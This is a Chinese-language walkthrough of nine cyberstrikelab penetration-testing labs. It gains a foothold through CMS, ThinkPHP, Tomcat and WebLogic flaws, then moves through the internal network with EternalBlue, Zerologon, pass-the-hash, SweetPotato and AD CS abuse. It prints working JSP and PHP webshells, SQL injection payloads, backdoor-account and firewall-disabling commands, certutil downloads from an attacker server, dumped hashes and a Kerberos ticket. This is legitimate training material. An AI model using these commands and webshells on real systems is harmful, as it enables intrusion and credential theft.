cyberstrikelab渗透复现

前言

老皮整了个无限时间的会员,爽死了,赶紧美美渗透

lab1

flag1

知识点:thinkphp框架漏洞

这个靶场不太一样,需要用openVPN连接

image-20251130105614276

点击VPN已连接跳转网站

image-20251130105713460

image-20251130105802522

老规矩,先用fscan扫一遍,经典thinkphp漏洞

image-20251130110013474

用工具嗦一下

image-20251130211637669

成功拿到shell,获得flag1

image-20251130211810975

flag3

知识点:RDP远程登录、stowaway建立代理连接、永恒之蓝

接下来要开启远程访问桌面,这样可以直接操控对方的主机

首先是添加用户

1
net user liernian qwer123! /add

在Windows系统中net user命令主要用于创建,修改,删除用户账户,上面的命令整体为添加名为liernian的新用户,密码为123@abc

密码必须有数字字母特殊字符

然后再将其赋予管理员权限(这里怎么看是不是管理员权限?)

1
 net localgroup Administrators liernian /add

net localgroup命令用于管理本地用户组,整条命令为将我们新创建的用户添加到用户组Administrators组中,以此来达到用户具有管理员权限。

image-20251130215724130

接下来修改注册表启用远程桌面连接

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

解释一下命令:

  • REG ADD - 注册表添加/修改命令
  • HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server - 注册表路径
    • HKLM = HKEY_LOCAL_MACHINE(本地机器根键)
    • 这是远程桌面服务的配置路径
    • 注意:命令中的引号可能是为了处理路径中的空格
  • /v fDenyTSConnections - 指定要修改的值名称
    • fDenyTSConnections 是控制远程桌面是否允许连接的开关
  • /t REG_DWORD - 值的数据类型为DWORD(32位整数)
  • /d 00000000 - 要设置的数据值
    • 00000000 = 允许远程连接
    • 00000001 = 拒绝远程连接
  • /f - 强制覆盖,不提示确认

光开启远程桌面连接是不够的,还需要ban掉防火墙

1
2
3
4
5
6
7
8
9
netsh advfirewall set allprofiles state off


#这里的命令直接把防火墙全部ban掉了,实际实战的时候这样还是不太行的,可以考虑只开发特定端口
# 开放RDP端口
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389

# 开放SMB共享端口
netsh advfirewall firewall add rule name="SMB" dir=in action=allow protocol=TCP localport=445

命令解释如下:

  • netsh - Windows网络配置命令行工具
  • advfirewall - 高级防火墙模块
  • set allprofiles state off - 设置所有配置文件的状为关闭
    • allprofiles = 所有防火墙配置文件
    • state off = 关闭状态

然后找ai问了一下如何进行远程桌面连接

  1. 获取目标地址:在已获取shell的目标主机上,执行ipconfig命令,找到并记录下IPv4 地址。这是后续连接的关键。
  2. 启动连接工具:在你的攻击机(通常是另一台Windows机器)上,按下Win + R键,输入mstsc,然后回车,即可打开"远程桌面连接"客户端。
  3. 输入信息并连接
    • 在"计算机"栏中,填入你刚刚记录的目标主机的IP地址。
    • 点击"显示选项",你可以在"用户名"栏中预先输入拥有远程桌面连接权限的账户(例如Administrator)。
    • 点击"连接"。
  4. 完成身份验证
    • 如果未保存凭据,会弹出Windows安全窗口,要求你输入密码。输入对应用户的密码。
    • 首次连接时,很可能会看到一个关于远程计算机身份无法验证的证书警告。勾选"不再询问",然后点击"是"继续连接。
  5. 成功登录:如果一切顺利,你就能看到并操作目标主机的远程桌面了。

image-20251130221924545

然后发现身份验证错误

image-20251130222022451

那就把身份验证也给ban了

1
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f	

命令解释如下:

  • reg add - 注册表添加/修改命令
  • "HKEY_LOCAL_MACHINE\...\RDP-Tcp" - 远程桌面TCP配置的注册表路径
  • /v UserAuthentication - 指定要修改的值名称
  • /t REG_DWORD - 数据类型为DWORD
  • /d 0 - 设置值为0(禁用)
  • /f - 强制覆盖,不提示确认

成功连接!!(居然是窗口的形式,第一次搞这种东西,还挺神奇的)

image-20251130222724119

也可以在kali中进行远程连接

1
2
3
xfreerdp3 /u:liernian/p:123@abc /v:192.168.10.10 /drive:share,/mnt/c/Users/30589/Desktop/Test

这个需要下载新的包,比较麻烦

image-20251201103704208

然后在这里才能进行fscan(真是绕了一大圈啊QAQ,本来在蚁剑就可以扫)

image-20251130223333214

扫到两个30和20分别都有永恒之蓝漏洞。

接下来用kali连接openvpn(进入内网环境。这一步是为了让kali的网络环境进入内网中,不然的话无法ping通)

其实在主机连接vpn之后重启一下虚拟机的net模式,虚拟机也可以走openvpn的代理

然后我们传stowaway其实stowaway也可以进行正向连接

1
2
3
windows_x64_agent -l 8888

./linux_x64_admin -c 192.168.10.10:8888

image-20260114172728899

然后直接创建socks连接就好了,之后直接用proxychains打永恒之蓝就好了

这里打的是第三台机子,第2台机子没有flag,这里msf本来可以直接拿shell的,但是拿不到,只能执行命令

1
2
3
4
5
6
proxychains4 msfconsole

use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.20.30
set COMMAND type C:\\flag.txt
run

image-20260114173131807

flag2

知识点:PTH

因为可以执行命令,我们直接搞个RDP

1
2
3
4
set command net user liernian qwer123! /add
set COMMAND net localgroup Administrators liernian /add
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
set command netsh firewall set opmode disable

差点进入死循环,openvpn只能一个用户登,我主机登了,我的虚拟机就不能连接,但是通过更新VMnet连接是可以让虚拟机共享openvpn的。

然后我搞了30这个机子的RDP我需要主机去连,但是我主机连接了openvpn之后无法再连接到我的虚拟机,这就导致我主机连不上我虚拟机上搞得socks连接,也就是进不去内网,自然也无法RDP

然后我想到可以用kaliRDP但是我kali环境有些问题,一直下不了新东西,只能在主机上下完传进kali

woc死循环了,还好我还有一个windows虚拟机,在windows虚拟机下进行RDP登录

image-20260114201641647

上传mimikatz抓取一波哈希,之后直接打域控

1
2
3
privilege::debug 
log 1.txt
lsadump::dcsync /domain:cyberstrikelab.com /all

第一个是20那台机子的哈希,第二个是域控admin的哈希

image-20260114203811375

image-20260114203941449

1
94bd5248e87cb7f2f9b871d40c903927

然后直接打PTH登录20主机就行

1
proxychains4 python3 smbexec.py -hashes :94bd5248e87cb7f2f9b871d40c903927 cyberstrikelab.com/administrator@192.168.20.20 

image-20260114204341667

image-20260114204438041

总结

主要是环境搞了很久,这个靶场其实挺简单,入口一个thinkphp里面两台机子,两台都有永恒之蓝,不过20的利用不了,30的利用完之后抓取一下域内哈希,得到管理员的哈希之后打PTH就行

然后总结一下方式,首先进入外网靶机后,可以用stowaway正向连接,然后开启socks然后用msf打30的永恒之蓝(本来永恒之蓝可以拿shell的,拿到shell就可以直接抓哈希。不过这里只能执行命令)所以就搞了RDP抓取哈希,如果愿意传东西的话,也可以上线CS(不过我主机挂了vpn,连不到虚拟机,上线CS的话只能通过另一个虚拟机上线,上线之后抓取哈希还方便一点)

最后讲一下,这个靶场刚开始打的时候,我还是个小趴菜,现在过了一个月,打了几场春秋云镜之后,比之前理解的更深了。

lab2

flag1

知识点:CVE-2020-35339

依旧fscan

是一个骑士cms

image-20260114212548943

搜索一下,发现相关CVE-2020-35339

爆破弱口令admin/admin123456

进行相关利用

image-20260114213509437

额尴尬的是,打phpinfo之后,这个页面就全是phpinfo了,只能重开靶机,笑死我了

1
http://127.0.0.1/.',eval($_POST['1']),'/.com

image-20260114215036244

image-20260114215127166

flag2

知识点:Tomcat任意文件写入(CVE-2017-12615)

直接stowaway正向连接。记得先开监听

1
2
3
windows_x64_agent -l 8888

./linux_x64_admin -c 192.168.10.10:8888

image-20260114215848788

后续发现好像10这台机子并没有内网网段,拿下就没有其他的东西了

那么这个stowaway就没有作用了,撤了吧

之前fscan看到192.168.10.20有一个tomcat服务,去看看

image-20260114220814502

知道版本号,就去搜索一下有没有nday

有一个PUT上传文件,直接打

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PUT /1.jsp/ HTTP/1.1
Host: 192.168.10.20:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Length: 460

<%
    String command = request.getParameter("cmd");
    if(command != null)
    {
        java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    } else {
        out.print("format: xxx.jsp?cmd=Command");
    }
%>

image-20260114222017176

image-20260114222606647

连接蚁剑发现连不上,哥斯拉也连不上

那就重新用哥斯拉创建一个jsp上传

image-20260114223359447

不断尝试后发现我之前上传的jsp都没用了,估计哥斯拉的马把环境搞炸了

只能重启

重启之后进行尝试,改用下面这个马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

image-20260116141733213

得到第二个flag

image-20260116141954250

flag3

知识点:永恒之蓝

image-20260116142244189

发现内网ip,配置一下stowaway并上传fscan进行扫描,发现20.30有一个永恒之蓝

image-20260116151843088

直接打就行,发现可以拿shell

1
2
3
4
5
6
proxychains  msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 192.168.20.30
set lport 1444
exploit

image-20260116162910341

image-20260116163017206

这里靶场全打完了,其实还可以加载mimikatz模块抓取哈希打dcsync获取域控

lab3

flag1

知识点:CMS简单cve

老规矩fscan,可以发现一台10有个cve,233有个404的8080端口

image-20260116171511249

不过10这个cve好像运行不了,打了exp打不出,那就看看10又没有其他端口运行了服务

1
fscan.exe -h 192.168.10.10 -p 1-65535

发现有一个CMS,登录后台的地方存在默认用户和密码,有一个专门的CVE可以打,在文件管理处可以写入php木马

image-20260116175316614

image-20260116175337170

flag2

知识点:爆破木马后门密码?

看一下10这里存不存在内网

明显是存在的,那么就建立连接吧

image-20260116175418815

上传stowawayfscan进行一波扫描

扫到了两台机子,但是没有什么有用的信息,这里提示说20留了后门,所以20一定有端口运行了http服务

image-20260116181448365

我们扫一波看看

发现8055这个端口存在thinkphp,然后因为有后门在首页,我们需要爆破一下后门密码

image-20260116202539605

theLSA/awBruter: 千倍速一句话木马密码爆破工具

有点鸡肋,很多报错,不过聊胜于无(要修改一下代码)

image-20260116212422637

image-20260116213000724

flag3

知识点:RDP、zerologon置空密码抓哈希打PTH

这里因为是系统用户,直接开一个RDP远程登录一下,然后用mimikatz抓哈希打PTH

1
2
3
4
5
6
7
8
9
net user liernian qwer123! /add

net localgroup Administrators liernian /add

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal"
"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netsh advfirewall set allprofiles state off

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

这还是个域控,需要加./用户名

image-20260116214605519

登录成功后直接抓哈希

image-20260116214803855

发现抓不到,原来是打zerologon,将密码置空拿哈希

1
2
privilege::debug
lsadump::zerologon /target:cyberstrikelab.com  /ntlm /null /account:WIN-7NRTJO59O7N$ /exploit 

image-20260116224314474

1
lsadump::dcsync /csv /domain:cyberstrikelab.com /dc:WIN-7NRTJO59O7N.cyberstrikelab.com /user:administrator /authuser:WIN-7NRTJO59O7N$ /authpassword:"" /authntlm

image-20260116230219820

有哈希直接打PTH

image-20260116230513645

lab4

flag1

知识点:CMS,sql报错注入+目录穿越修改php文件

老规矩fscan,但是没扫到什么东西,应该还是要扫描全部端口

image-20260117195719944

image-20260117204907856

发现5820有服务

image-20260117200146818

ad_js.php有sql注入漏洞,会回显在第七个字段

image-20260117200405155

可以用报错注入获取admin密码

1
http://192.168.10.10:5820/ad_js.php?ad_id=1 UNION SELECT 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

image-20260117200559982

image-20260117200735608

这密码,感觉爆破也能得到

登录后在这里可以修改内容

image-20260117201535072

这个网址可以通过目录穿越指定要修改的文件

image-20260117202133075

可以找php文件去修改内容

image-20260117203237521

image-20260117203127201

image-20260117203423394

flag2&flag3

知识点:zerologon置空密码抓取哈希

有内网,我们可以直接传stowawayfscan

image-20260117203528649

image-20260117205009189

全端口扫描后发现没有web端口,尝试获取一下域控服务器的信息

1
ipconfig /all

image-20260117205812340

1
ping -a 192.168.20.30

image-20260117210402871

获得主机名之后可以尝试用zorologon尝试置空密码

1
2
3
mimikatz.exe
privilege::debug 
lsadump::zerologon /target:192.168.20.30 /account:WIN-7NRTJO59O7N$

检测到确实有

image-20260117211149932

1
lsadump::zerologon /target:192.168.20.30  /ntlm /null /account:WIN-7NRTJO59O7N$ /exploit

image-20260117211820882

直接打

1
lsadump::dcsync /csv /domain:cyberstrikelab.com /dc:WIN-7NRTJO59O7N.cyberstrikelab.com /user:administrator /authuser:WIN-7NRTJO59O7N$ /authpassword:"" /authntlm

image-20260117212344412

有了之后直接打PTH(发现在stowaway这里也可以执行mimikatz还能直接复制粘贴,这样就很快了)

1
proxychains4 python3 smbexec.py -hashes :00f995cbe63fd30411f44d434b8dac98 cyberstrikelab.com/administrator@192.168.20.30

image-20260117213755360

image-20260117213838822

然后20也可以打

image-20260117213940121

image-20260117214016736

lab5

flag1

知识点:BEEMCMS

fscan之后依旧要扫描端口

image-20260119113008415

得到6582,进/admin

image-20260119114148828

存在sql注入漏洞,我们可以通过union select 使得admin用户的密码重置为123456

1
2
3
-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23

user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456&code=4cf5&submit=true&submit.x=40&submit.y=41

image-20260119114801410

放到拦截处放包即可跳转

image-20260119114828631

在logo处可以MIMI绕过,上传php

image-20260119115134775

image-20260119115124710

image-20260119120010432

flag2

知识点:zerologon+PTH

image-20260119120518213

发现20的8080有一个JBoss的web服务

image-20260119121750709

看了一圈先试试能不能用zerologon

跟之前一模一样,直接到手了

image-20260119122708786

1
90bc407917c39080424e9119821e200a

直接PTH

1
proxychains4 python3 smbexec.py -hashes :90bc407917c39080424e9119821e200a cyberstrikelab.com/administrator@192.168.20.20

image-20260119123927142

lab6

flag1

知识点:joomla历史漏洞

joomla站点,用joomscan扫描出来,发现有nday

image-20260120180949481

kiks7/rusty_joomla_rce: Rusty Joomla RCE Exploit

1
2
3
python rusty_joomla_exploit.py -t http://192.168.10.10/

python rusty_joomla_exploit.py -t http://192.168.10.10/ -e

image-20260120181223672

image-20260120181327169

image-20260120181352197

flag2

知识点:welogic历史漏洞

一开始以为也可以直接打zerologon,发现不行,还是乖乖上传fscan

不是,原来10这个网段根本什么都没有,乖乖fscan发现有10.20

7001端口存在weblogic框架

image-20260120183055903

用工具扫一下,发现有历史漏洞

image-20260120183503327

可以执行命令

image-20260120183541092

直接打内存马进去

image-20260120183742189

记得改变连接类型

image-20260120183724911

image-20260120183825821

flag3

知识点:永恒之蓝

上传stowaway,发现64和86都运行不了,直接开RDP登录了,然后在rdp登录处就可以运行64,也许是内存马的原因

fscan发现30机子有永恒之蓝

image-20260120190254359

1
2
3
4
5
search ms17
use 2
set RHOSTS 192.168.20.30
set command type c:\\flag.txt
run

image-20260120191022352

lab7

有点同质了,考的都是差不多的点,要么就zerologon然后打PTH,要么就直接抓哈希打PTH

flag1

知识点:bagecms历史漏洞

fscan一下,可以发现外网只有一台机子

image-20260120210421354

进入发现是bageCMS直接搜一波历史漏洞,在nday中可以找到登录界面在哪

1
http://192.168.10.10:9652/index.php?r=admini/public/login

image-20260120210833565

有验证码,但是弱口令admin/admin123456,进入后在模板处修改index.php,当然修改别的也可以

image-20260120211245399

image-20260120211512102

蚁剑连接

image-20260120211601608

image-20260120211611608

flag2

知识点:永恒之蓝

建立连接之后fscan,发现40机里面有一个永恒之蓝

image-20260120213310481

那直接打永恒之蓝,用命令开一个RDP,然后尝试抓取一下哈希

image-20260120214318000

flag3

知识点:PTH

直接RDP,然后传mimikatz

1
2
3
4
5
set command net user liernian qwer123! /add
set command net localgroup Administrators liernian /add
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
set command 'netsh advfirewall set allprofiles state off'
set command 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f'

image-20260120221322830

1
proxychains4 python3 smbexec.py -hashes :d8174fc8c5ee7a8e460df2e61d00bd3c cyberstrikelab.com/administrator@192.168.20.20

image-20260120221705585

lab8

flag1

知识点:zzzCMS历史漏洞

这里开始有些不一样了,首先ip就不一样了

image-20260121162625422

zzzCMS搜索一波nday

首先admin/admin123456,进入后台

image-20260121162943671

在模板管理的html文件夹的about处写下

1
{if:assert($_POST [x])}xxx {end if}

image-20260121164255726

然后就成功成为后门了?和源码有关系

image-20260124172514130

image-20260121164702884

这个马还必须base64编码才能连接,不懂

image-20260121164948923

image-20260121165038807

flag2

知识点:(甜土豆提权,转义开RDP)爆破RDP

明显看到有内网网段

image-20260121165200376

上传fscan和stowaway,蚁剑发现超时了

image-20260121165558127

开一个http服务下载

1
certutil -urlcache -split -f http://172.16.233.2:50050/windows_x64_agent.exe windows_x64_agent.exe
  1. certutil - Windows 系统自带的证书管理工具,但常被用作下载工具
  2. -urlcache - 使用 URL 缓存功能
  3. -split - 将 HTTP 响应头和数据分开
  4. -f - 强制覆盖现有文件

然后上stowawayfscan

image-20260121171221813

ip 功能
10.5.5.2 外网机 (已拿下)
10.5.5.33 内网机
10.5.5.66 DC域控

内网看来没有什么东西了,打个RDP在外网机子里分析一下域内信息吧

RDP之后发现进不去,回头查看了一下,是机子的权限不够。无法添加新用户

1
whoami /priv

发现开启了SeImpersonatePrivilege那么就可以用甜土豆进行提权

image-20260121172444704

依旧http服务上传甜土豆

1
certutil -urlcache -split -f http://172.16.233.2:50050/SweetPotato.exe SweetPotato.exe

image-20260121173009173

甜土豆记得要双引号,然后里面需要转义

1
2
3
4
5
6
7
8
9
SweetPotato.exe -a "REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"

 SweetPotato.exe -a "net user liernian 123Qwe! /add"

SweetPotato.exe -a "net localgroup Administrators liernian /add"

SweetPotato.exe -a "reg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f"

SweetPotato.exe -a "netsh advfirewall set allprofiles state off"

终于是登上了

image-20260121175234188

也是发现了有360,CS传马的话估计会被杀,不过做做免杀应该也还可以

image-20260121175400529

然后fscan其实看到了33那个口开启了3389我们可以爆破一下(那我这个RDP不是白搞了)

爆破RDP

image-20260121181325091

administrator/admin@123456

image-20260121180840580

image-20260121181356904

flag3

知识点:非约束性委派(上线CS、powershell command上线)、svc-exe提权、PTH

1
2
3
4
5
6
7
Rubeus.exe monitor /interval:2 /filteruser:DC$

监听域控的连接

SpoolSample.exe DC CYBERWEB

强制域控回连,获取票据

image-20260121185142788

无奈只能上线CS看看,还得免杀一下

hack2fun/BypassAV: Cobalt Strike插件,用于快速生成免杀的可执行文件

这个插件我运行下来生成不了文件,很是烦躁,最后还是用powershell command来上线payload的,我发现这种方式挺好的,因为是生成命令,你拿到shell之后执行一下命令就行

image-20260124151801966

使用甜土豆提权,一键上线

image-20260124152438070

接下来就是比较简单的了

flag2RDP爆破来着,爆破出来直接转发上线,这个就是建立一个监听器,还要生成exe执行

image-20260124162343987

在CS上尝试进行约束性委派攻击

尝试失败过后发现应该是权限不够,,因为有本地管理员的权限,可以尝试进行镜像劫持提权,提权至system

好像有CS自带的svc-exe提权,新建一个smb的监听器

image-20260124163757844

直接打

1
elevate svc-exe svc-exe

image-20260124163927692

这里我们也尝试用镜像劫持提权一下

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

也成功了,只要在这个界面运行之前那个转发上线的exe就行

image-20260124164454505

最后就是打约束性委派

1
2
3
shell C:\Users\Administrator\Desktop\Rubeus.exe monitor /interval:2 /filteruser:DC$

shell C:\Users\Administrator\Desktop\SpoolSample.exe DC CYBERWEB

image-20260124165341579

1
shell C:\Users\Administrator\Desktop\Rubeus.exe ptt /ticket:doIFtDCCBbCgAwIBBaEDAgEWooIErDCCBKhhggSkMIIEoKADAgEFoRQbEkNZQkVSU1RSSUtFTEFCLkNPTaInMCWgAwIBAqEeMBwbBmtyYnRndBsSQ1lCRVJTVFJJS0VMQUIuQ09No4IEWDCCBFSgAwIBEqEDAgECooIERgSCBEIMIRnFPZE6IpeieG1EfYJtn+TpyvyeQhDyWhmUUc56oRz0hb3kJ6taODtDs2YkhfJD/zuUZg5HtRWS4rovYJ6F8fuU1qzm/ygK9LB2xmSVJFtufmc0rAcU/z1McLDJCA4cxUPiVhjzCWH1e4fR+XiYEPh/tNteFlZQIZC/68dkL/d0lLOQAazGcfPRizzEHwGaO9qkGWss1d2+96osftJq771WJCAO1cXt8m23iADR2NCT+7rBvE9M3v9ZbJ25vfQDg9IgRTuIARtJkGcqcYkwCeEw4+veOGIpdjohGxOTqHl0CWGT0SQ/0D7MnpXXjrBYWv1nGGhS2TdwSPw3FDsh5uShpn2ZoWgqX5BHefGykHmHynqKWLGZGbjjgilIIegto3QBHM0txzlDUC3Et13Tmlu47bxsjpyhPAWw647SDK04p6M++mxw6cDU5IQj+UEu/qDsuXPKug9d4lQ5ERyolpb6QEdau9p4NfqZ9GJAXz53nAmC0ztKe8CixYdRKS3X6ylp/yq47DgbcisJNlX+JM8YrQqENG+QJOfbVhu6NkYpA4sAE0BCNB6eWkbhV1p3aBFwR2RT/SejppUcqORmJJ1HZpOoKkH27nQ69sC9tXQNnq3ALFXRTWBWCyydDujShufOKC2qJpYCFon6/2yqeKXn8ZuA1AqnmZjCDzyf0lhVJG6hzGt8fxdOJToUcd8bndKSwi/59yUWb/VQGixh1dXyGB383SyRJWCmwyFqnvPl+V7HFcMm3SEMibCGv1w+q+Ym4mwMR1omTW6eO9c98W+J0PtUw4BLFdDBG78aPgG1wTcSx5i/kwCRFYN/M+aDRf/e+8MQCn12NnqX0JUZ0ZEDNfuKEfO1G3O1HTZMT0jmQYudKWAa5DngeY9qu8sR68KkGvpcN20uHfnagercgcVRlY32bpzENfkBqIMgftQw1YzRWf5JRVVxG9zbT65D7t1trcGAamQyWuApvjTic00gIKtxESAIQwrtqgznbecU6qSETtgjNdsjp+11luXlZON2H/exdzIp5ULZ2G5TwxfJbLwCESMOSyEI0WYq5KcX8Nh/FxvVzFWk6aGdt+g9NvIuVVEmdS76NQrjqWPj3HsCI3agyW126/mHTZfy4xXz2RnILfP6Mih4lir+dwuVLHX3tZ8VJaWP5t/nY/YNCuexU0/EqVAp1R41GrNW6X5egn8Gjf8nAutflPeN4E2ghp1+ZFbld9+UobkQFDwz4Ui7IYrcdHT7KzMc+0gjwYvQ8cTXqeZSNiMqFSSjxgcy6RaH50ux0bvI4OTChYC+Gy09DlJa/eDdlRJnQUzvUmfOFNS+j0fYKJU1pEzpWyOg1KfswIV/HrdiIMHy3RbWMPVXOxm8X68KAcXDWGr6ZRWF8aPwZyBq2+A+ywvrm1fxlRmqQzMsuQbJfz74Q4UbP8zFTKOm4wM4UneM9dql3wFvo4HzMIHwoAMCAQCigegEgeV9geIwgd+ggdwwgdkwgdagKzApoAMCARKhIgQgZU5WAuB9lbQbnvTC4WUqY+evGwY0us+DwOp2cOV2xs6hFBsSQ1lCRVJTVFJJS0VMQUIuQ09NohAwDqADAgEBoQcwBRsDREMkowcDBQBgoQAApREYDzIwMjYwMTIzMjIyMzI1WqYRGA8yMDI2MDEyNDA4MjMyNFqnERgPMjAyNjAxMzAyMjIzMjRaqBQbEkNZQkVSU1RSSUtFTEFCLkNPTaknMCWgAwIBAqEeMBwbBmtyYnRndBsSQ1lCRVJTVFJJS0VMQUIuQ09N

还以为打完了,结果给崩了

image-20260124165836693

后来才发现命令中间有空格

image-20260124170554474

然后mimikatz抓哈希打PTH

1
shell C:\Users\Administrator\Desktop\mimikatz.exe "lsadump::dcsync /domain:cyberstrikelab.com /user:cyberstrikelab\Administrator" "exit"

image-20260124171337455

1
9d880175be3fc0e75ebb9686f482cfa5
1
proxychains4 python3 smbexec.py -hashes :9d880175be3fc0e75ebb9686f482cfa5 cyberstrikelab.com/administrator@10.5.5.66

image-20260124172258688

总结

真的是很蠢,本来就差一个提权,镜像劫持一下就有了,一直以为一定要CS才能打约束性委派。不过也搞了一下CS,算是不错的经历

其实要看是不是约束性委派的话可以用之前的血猎犬,还有一个powershow.ps1一直没用过了

免杀的话,我发现用powershell command在拿到shell之后上线CS很方便啊,根本不用考虑免杀的问题

也是因为lab8开始有点质量了,所以写了一个总结

lab9

flag1

知识点:CMSeasy历史漏洞

CMSeasy的站点,依旧搜索nday

image-20260125131318913

依旧弱口令admin/admin123456(这里好像有个sql注入,可以把密码注出来)

登录后在模板处可以修改添加php代码

image-20260125132418440

可以执行命令

image-20260125132431231

但是蚁剑连不上??

image-20260125132547247

webshell生成器生成一个蚁剑base64连接的webshell

image-20260125132903056

1
2
3
4
5
<?php 
class  G1sO9FH7{/*F85p03*/function __construct($x){$c=str_rot13('ffreg');/*F85p03*/$a= ("!"^"@").$c;/*F85p03*/$a($x);}}new  G1sO9FH7($_REQUEST['1']); 
?>

这里写进模板里一定要按照这个格式用回车分开

image-20260125133053981

image-20260125133321062

flag2

知识点:smb弱口令

蚁剑直接上传文件失败了,可能是这种直接在模板里改的后门文件会有些上传文件的限制

1
tasklist /svc

查看一下有没有杀毒软件,没有的话可以上线CS了

(有杀毒软件也可以用上面的powershell command上线)

image-20260125134345475

查看提权

1
whoami /priv

依旧可以用甜土豆提权

image-20260125134416852

用插件一键提权

image-20260125134526703

然后建立一下stowaway的连接吧

image-20260125135133931

fscan一下内网(fscan这块还是得在stowaway里运行)

扫出来

image-20260125183448608

ip 作用
10.6.6.10 外网机(已拿下)
10.6.6.88 存在smb弱口令
10.6.6.55 DC域控

很明显,我们要smb连接上88这个机子

1
proxychains -q python3 smbexec.py administrator:'qwe123!@#'@10.6.6.88

直接用smbexec连上smb

image-20260125185442549

flag3

知识点:AD-CS

然后上线CS

把转发上线的exe传到入口机的phpstudy里

尝试了几次之后发现了一个问题,我外网上线的这个靶机外网写的是我虚拟机的ip,内网写的是真正的外网地址,这就导致我转发上线的靶机如果无法访问到外网地址,那么就无法进行上线

image-20260125191641282

但是这也难不倒我,我们可以用CS的正向连接上线,选用这个监听器,让88监听自己的端口

image-20260125192656843

然后在跳板机的beacon处运行

1
connect 10.6.6.88

然后就能成功上线了image-20260125192815621

然后域控这里是可以打AD-CS,wp说是用fsacn扫出来的,但是我没有扫出来

上线后上传mimikatz抓取一波哈希

1
shell C:\Users\Public\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
* Username : Administrator
* Domain   : CYBERWEB
* NTLM     : c377ba8a4dd52401bc404dbe49771bbc
* SHA1     : d9ac14100bf4e36f6807dd3c29051983b2d58d3d

* Username : cslab
* Domain   : CYBERSTRIKELAB
* NTLM     : 39b0e84f13872f51efb3b8ba5018c517
* SHA1     : fa6a465532224cc4f1fa5094424bf219d25b7463

* Username : CYBERWEB$
* Domain   : CYBERSTRIKELAB
* NTLM     : 331dcbb88d1a4847c97eab7c1c168ac8
* SHA1     : 0a4c17b8f051223716e86c36f1dec902e266c773

然后还需要一个域控的名字

1
sehll CertUtil

image-20260125195524713

1
cyberstrikelab-DC-CA

先用certipy-ad检测一下是否有该漏洞(kali自带)

很尴尬的是,这个功能需要有明文密码才能用,只能先创建新用户(这里就写在前面了)

1
proxychains4 certipy-ad find -u liernian$ -password 7dBal4oZg05aoqNn -dc-ip 10.6.6.55 -vulnerable -stdout

image-20260125203021216

然后AD-CS攻击需要明文密码,我们无法获得,所以就创建新用户

1
proxychains -q certipy-ad account create -u CYBERWEB$ -hashes 7b18239f2c9b611274f4a5987b8dbd04  -dc-ip 10.6.6.55 -user liernian -dns DC.cyberstrikelab.com -debug

image-20260125201630061

1
2
3
liernian$/7dBal4oZg05aoqNn

liernian$/f0NBERFGL0vS8Def

